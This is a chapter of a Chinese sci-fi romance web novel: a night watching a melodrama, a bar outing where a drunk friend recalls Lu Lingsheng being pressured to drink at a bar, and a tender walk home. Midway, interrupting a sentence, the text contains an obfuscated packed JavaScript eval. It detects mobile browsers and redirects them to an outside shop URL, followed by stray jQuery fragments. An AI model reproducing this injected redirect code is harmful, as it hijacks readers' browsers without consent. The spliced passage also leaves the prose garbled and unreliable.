下播时已经十一点了，往日从游戏舱出来时，房间内安静又空寂，可今日却不太一样。
电视剧的对话声、窸窸窣窣的零食袋声，都显得格外热闹些。
“在看什么？”陆灵生坐到他旁边。
清洁机器人从沙发前缓缓驶过，对着墙角开始面壁，充电。
“鸟妖和血魔共渡情劫。”况野自然地拿出一片薯片塞进他嘴里。
？
陆灵生大受震撼。
探身仔细一看，他绷不住笑了：“这是阿维利尔星的精灵族和夜族，星网很火的题材。”
“没差。”
况野倒了杯快乐水放在灵生手边，又将新买的小毛绒熊塞进他怀里，见人舒舒服服窝在沙发上，这才满意。
电视中的精灵族银发尖耳，金色的眼眸圣洁又高贵，但此时却眼中含泪，绝望道：“我不信！我们之间的情意难道都是假的吗？”
夜族男主是星网大红的流量，一张俊脸帅气非凡，闻言他眸中闪过一秒动摇，却还是冷漠道：“分清你的身份，你只是她的替身罢了。”
嗯，据说这部剧是导演从古人类文献里的得到的灵感。
实际上所谓的电视仅是一块几毫米左右厚的荧屏，悬浮在墙上，已经与古人类文献中的相去甚远。
但由于人们对电视剧的热情不减，也就保留了这样古老的名字。
这部剧一经开播就火遍全星网，网友们一边大乎狗血，一边被虐的死去活来又忍不住追更，几乎每隔几日就要上一次星网热搜，陆灵生也有所耳闻。
不过况野居然会喜欢这种爱来爱去的剧，真是没想到。
陆灵生稀罕的看向他，只见他微微皱眉，面露不适，显然是被虐到的样子。
“没关系的，下一集应该就能和好了。”陆灵生安慰道。
况野却摇摇头，道：“照此发展定然不妙，那血魔怕是要记忆受损。”
陆灵生惊讶地睁大眼：“你怎么知道男主之后会失忆？”
况野连星脑都没有，怎么还能知道剧透？
“那血魔将完全不同的两个人当做同一人对待，还如此心安理得，想来内里早已被心魔控制。”
“如此下去，记忆定然逐渐受损，直到连灵魂也被吞噬殆尽。”
况野严肃地分析：“那鸟妖也不容乐观，被如此对待也不反抗，怕是已经中了邪蛊。”
居、居然是这么解决的吗？
陆灵生宕机了两秒，忍笑道：“那你觉得，之后该怎么发展？”
“此二人已无法自救，不过好在帮手们已经出现。”
帮手？陆灵生定睛一看，这不是深情男二和恶毒女配吗？正挑拨离间呢。
“瞧，这两人通过各种手段，在不断地帮助鸟…精灵，减清邪蛊的影响，虽然手段见不得人，效果却还不错。”他认可地点点头。
“……”这都能圆？
“只要那精灵稍微清醒，便可以三人合力斩除夜族，心魔被除便可以引出邪蛊，如此情劫可破！”
况野眼睛炯炯有神，充满了期待。
女主跟女二男二携手杀了霸道总裁吗……陆灵生甚至觉得况野嘴里的版本更有意思些。
他不禁顺着问：“那男主怎么办，他被心魔控制，还要被杀不是太可怜了？”
况野正气凛然：“魔由心生，他咎由自取，若是运气好，或许能留下来一缕魂魄转世投胎。”
噗，好想笑。
虽然不忍心让他失望，但陆灵生太想知道他的脑回路了，忍不住剧透道：“可是这个剧的结局好像是精灵和血魔在一起生生世世了。”
况野一顿，瞬间就变得兴趣寥寥。
“未曾想竟是个悲剧……”
他思考片刻，勉强道：“好吧。虽然我不是很喜欢悲剧，但民间也有不少人崇尚这种形式。”
陆灵生忍了又忍，终于忍不住笑倒在沙发上。
见况野不解地看过来，陆灵生捧场道：“我觉得你说的对。”
“明日要不要与我去酒吧玩？还有我其他两个朋友。”
“酒吧？”
“就是酒肆。”
陆灵生仰头眼神亮晶晶地看着他：“来尝尝我们这里的酒？”
他半仰在沙发上，露出一截细瘦白皙的脖颈。
陌生的世界、陌生的环境，况野本应生出警惕与不适。
可暖黄的灯光、温暖的室内、云朵般的沙发，还有身旁冲着他浅笑的人，都过于让人目眩神迷。
他竟也像生了心魔的夜族般，盯着那领口处若隐若现的锁骨，想着咬上一口的滋味。
“荣幸之至。”
.
第二日晚。
乐风招呼服务机器人：“再上三杯‘罪恶之子’。”
况野正热衷于品尝面前一排赤橙黄绿青蓝紫的酒，喝到不错的便倒给身边人尝尝。
陆灵生显然是习惯了，每一种都浅尝辄止，大多进了况野的肚子。
乐风看的直牙酸，他的gay达疯狂尖叫，这俩人还说是“朋友”？
能不能行啊这俩。
没点猫腻他倒立吃粑粑。
把乖乖喝AB钙的江离揽过来，乐风摇摇他肩膀：“小少爷，不舒服了跟哥说。”
来时江离还是有点咳，乐风当即换了包间，隔绝了外面的烟味。好在包间的落地窗也能够清晰地看到舞台。
江离好脾气地任他晃，好奇地盯着下面表演钢管舞的猛男看。
“喜欢这个类型？哥给你找两个玩？”乐风坏笑着道。
江离斜他一眼，比划了一下道：“不要，我家的比他壮的多。”
“哦？哦？！！！”
乐风本来就是逗逗他，闻言一脸震惊：“你…你真有啊？！”
陆灵生也忍不住抬头看向江离。
“对呀，他是赛克拉星和伊色坦星的混血。”
“玩的挺野啊小少爷？”乐风被震撼到了，万万没想到江离还有这么狂野的一面。
江离点点头，发愁道：“确实很野，而且喜欢跟我玩各种小玩具，不带停的。”
“不、不带停的？”乐风傻了。
况野见几人表情都不太对，很想加入探讨：“什么小玩具？”
陆灵生已经察觉到不对劲，但以防两人真说出什么虎狼之词，他含混地解释：“就像拨浪鼓和竹编那种。”
江离吸了口AB钙，不解地看看陆灵生：“不是的，我说的是绳子和项圈那种。”
陆灵生：“……”
乐风半立着尖尖的精灵耳，战战兢兢开口：“需要准备小皮鞭吗少爷？”
“当然不会。”江离放下AB钙，严肃道：“我从来不打我的宠物。”
乐风眼睛瞪圆了，像是第一天认识他一样上上下下地看他。
陆灵生顺着玻璃看到舞台边那只被人抱着的可爱小狗，心下了然，默默道：“我觉得你们说的，应该不是一个事。”
“是啊，”乐风重塑了世界观，已经魂飞天外：“少爷的生活我们难以想象……”
陆灵生无语，转而问：“你家养的什么宠物？多大了？”
“米克多因犬，已经6岁啦。”江离笑眯眯地。
？？？
乐风一愣，呆滞地缓缓转头。
江离与乐风对视，眨眨眼，看起来无辜极了。
但乐风看见他了嘴角极为细微的，得逞的笑意。
他难以置信：“…小少爷，你耍我？”
他实在没看出来，这小子还蔫坏蔫坏的。
江离吸了一口AB钙，恍然大悟：“哦～～你玩的好花啊。”
反将一军，真不错。
乐风咬牙切齿：“呵呵，托你的福。”
况野被这一系列哑谜吸引住了，还在不耻下问：“什么意思？什么叫玩的花？宠物一词又有什么深奥之意？”
乐风惊讶地看他，不知道想了什么，表情从古怪到兴奋，立刻准备跃跃欲试地科普，结果刚一张嘴就被灌了一嘴酒。
“唔、唔……”
陆灵生从容地拿起两杯刚端上桌的“罪恶之子”，一杯怼到乐风嘴里，一杯递给况野。
况野就着他手尝了一口，眼睛一亮：“真有意思。”
乐风见状也顾不上解释了，目光在对面两人之间游移了下，心思微动。
他马上换了一副面孔，热情地与他碰杯。
“嘿，有眼光，这可是我亲自调的。”
“好手艺。”况野不吝夸奖。
“对了，你们什么时候认识的？”
“几个月前。”况野答。
“你哪的人啊兄弟？”
理由早就编好，况野顺畅地背台词：“一个还没被命名的偏远星，我是流落到那里的孤儿。”
“啊～”乐风拖长了音调：“那应该挺困难的吧？”
“还好，后来我偶然看到灵生的直播，就成为他粉丝了。”
毕竟是养了几百年的脸皮，况野说起谎来眼睛也不眨。
编、再编。乐风心道。
这身气质和行为举止，说是星盗头头都有人信，哪里像是落魄的流浪孤儿？
偏偏他看着坦荡，实则话里话外滴水不漏，比乐风这个混迹酒场的老板还圆滑。
乐风被激起了战意，今天他必须问出点什么来，要是个海王欺骗灵灵，就别怪他翻脸。
说干就干，乐风再次招手：“再来十瓶‘天使吻’。”
“会不会有点太多了？”陆灵生看看两人，有点担忧。
“嗨，度数不高。”乐风眨眼道：“灵灵怕他醉？没事，我到时候让人给他送回去。”
“……”我是怕你醉。
三个小时之后。
乐风眼神迷离，摇摇晃晃地举着酒杯：“喝！兄弟！喝！”
“你继续说，你是怎么和灵生认识的？”况野依旧笑眯眯地跟他碰杯，面不改色地又喝下一杯。
陆灵生拉拉他的袖子，适时打断：“他喝多了，况野，你也别喝了。”
况野见他眼里隐隐的担心和……不安？便点点头。
但乐风已经倒豆子一样嚷嚷出来。
“我前阵子第一次见我家灵灵的时候，他那个恶心老板！”
乐风指着玻璃下方的一处，嫌恶地呸了一口：“就在一楼那个卡座，看到没有！就在那！逼我们灵灵喝酒！”
“鬼知道那酒里下了什么料！一桌人的眼睛都长他身上去了！就等着他喝呢！”
况野的表情一下子冷却。
“乐风！”陆灵生皱眉。
乐风却充耳不闻，恨恨道：“小爷最看不起这事，这不是砸我酒吧的招牌？”
“然后呢？”况野语气平静，好似听不出什么，又碰了碰他的杯子。
乐风再也喝不下，醉醺醺地摆摆手：“当然是冒充灵灵的朋友把他救出来。”
“不过还是让灵灵丢了餐厅的工作，呜……”
没想到乐风会对这件事耿耿于怀，陆灵生有些惊讶。
当时他帮助自己，陆灵生已经很感激了，又怎么会因为这个怪他呢？
乐风猛地直起身！
“但是！”他眼神莫名坚定，却盯不到一个焦点，喃喃道：“我后来把他们桌子掀了也算爽了！”
“你是没见，当时灵灵的表情，像、嗝，像……”
乐风已经醉的脑子转不过弯，根本找不到合适的形容词，像了半天也没像出个所以然。
困意袭来，他缓缓趴在江离肩上，彻底醉死过去前，才想起来那时的景象。
只余最后一句尾音。
“……像一只断了腿的木偶。”
.
“那就麻烦你了，江离。”陆灵生站在路边，看着保镖们把乐风抬进车里。
“放心吧！”江离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753709|190036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
热情地冲他摆手，露出一对可爱的小虎牙。“下次见！”
陆灵生目送他们远去，这才和况野坐上自动驾驶的飞行器。
后座上，两人都有些沉默。
陆灵生动了动手指，随即被拉的更紧。
他此时根本不敢看况野的眼睛，还有些莫名的慌乱和尴尬。
而且他能感觉到，况野不太开心。
深夜的首都星也变得安静，街道上空空荡荡，鲜少有行人经过。
陆灵生突然开口叫停了飞行器。
飞行器缓缓降落在路边，明明离家还有一段距离，他却还是拉着况野下来了。
大多数店面都已关闭，所以路边那家泛着暖黄灯光的甜品店就格外显眼起来。
陆灵生握在门把上，顿了一下，还是推门进去。
况野站在路灯下等他，看着陆灵生指了几下柜台，没多久便抱着一包甜品走出来。
初冬的凉意让陆灵生轻呼出白气，他拿出一个可颂，递到况野唇边。
“尝尝看？”
脸包裹在围巾下，他望着他，声音软的像是在哄人。
在期冀的眼神中，况野缓缓微微偏头，就着他手咬了一口。
浓郁的甜香弥散在口中，是从没尝过的味道。
“好吃吗？”
况野点点头。
陆灵生随即笑开，像溢满了星星。
“以前有时候加班到很晚，肚子饿，回家时就总会遇见这家店，所以总是很眼馋。”
将剩下的面包递给他，陆灵生拉着况野，缓步往家走。
给自己拿出一个巧克力欧包，他咬了一口，满足道：“唔，果然很好吃。”
况野看着他拉着自己的背影，这是陆灵生第一次走他在前面。
他出声问：“你没有吃过？”
“嗯。”前面人点点头，清润的声音响起。
“它有点贵，就算是最难过的时候，也没舍得买。”
手上的力度收紧，但陆灵生没有挣脱，也没有回头。
“但那些都过去了。你瞧，现在我可以买走一大包。”
“不只是今天，明天、后天，每天都可以买走一大包。”
况野沉默着。
陆灵生对接下来要说的话有点不好意思，所以盯着远处的霓虹灯不去看他。
“况野。”
“嗯？”
“谢谢你。”
“……”
“你改变了我的人生。”他一字一句道：“你让我觉得，我应该变得优秀，我可以去追求点什么。”
“在我觉得这辈子就这样了的时候，将我比作奇迹。”
他轻笑一声：“你可能不知道，这个形容在其他人看来有多荒谬。如果没有你，我即使同样修仙，同样是天生灵体，恐怕也依然会过的浑浑噩噩。”
大概是因为见到旷野，就再也不想落于泥潭。
他口中的陆灵生，千好万好，那他又怎么能再甘心麻木。
他缓缓开口，声音坚定：“所以我努力地，想追赶你一点。”
“我想站到你面前时，不再那么狼狈，不再捉襟见肘。”
陆灵生松开手，转过身来。
“所以我有些幸庆，幸好你来时，我能给你一切有趣的东西，幸好我可以跟你一起尝最想吃的甜品，幸好我有资格跟大家介绍你是我最重要的朋友。”
“我好开心。”
在空寂的城市里，陆灵生认真望着他。
“所以况野，不要不高兴，更不要同情我，好不好？”
“我是很努力很努力，才这么看向你的。”
况野怔怔地听着，听到了自己胸膛震耳欲聋的跳动声。
良久，在阑珊的灯光中，他将陆灵生紧紧拥抱。
“不是的，灵生。”
“不是因为我，是因为你本身就有坚强温柔的灵魂。”
先天灵体……况野作为同样天赋异禀之人，他早就知道，拥有如此大的天赋必然带来等同的代价。
或许是命途的坎坷，或许是永世的孤独。
他早知道陆灵生此前可能会有很难过的日子，只是不敢去想。
“没有同情，我只是…有点心疼。”况野深深闭上眼。
一想到自己恨不得捧在手心的人，或许早已遍体鳞伤过；自己视若珍宝的月亮，也在无数的恶意中挣扎；一想到曾经的阿灵，可能同样经历过跟自己一样的流浪…
况野就心疼的话也说不出来。
“好了，好了…”
陆灵生轻拍着他的背，像哄一个大型玩偶。
被况野拥抱的时候，像是被星航导弹庇护了一样，格外有安全感。
况野这才终于笑了，分开时凑过去咬了一口陆灵生手上的欧包。
果然比自己手上的的更好吃些。
到底是喝了酒，虽染不至于醉，但有时候就会变得格外胆大。
“我有一个理想。”
走回去的路上，陆灵生抬手指给他看。
“看，那座最高的楼，它叫寰宇大厦。”
“那个大屏幕里播放的，是整个星际前十的玩家。”
陆灵生的眼睛异常明亮：“我也想出现在上面。”
与艾尔维斯的反应截然不同，况野认真地听完后，只说了两个字：“好啊。”
“整个星际，就是整个宇宙的前十哦。”
怕他不知道这个概念，陆灵生强调：“目前登记居住的星星就有十多万颗，光人口就千万亿。”
“嗯，那又如何？”
他的表情理所当然，仿佛站到上面就像从这里走到家一样容易。
陆灵生哑然，半晌笑开来。
是啊，这就是况野。
“没如何。”
正是因为这样的自信，正是因为这样的况野。
所以他的愿望与疯狂，只想说给他一个人听。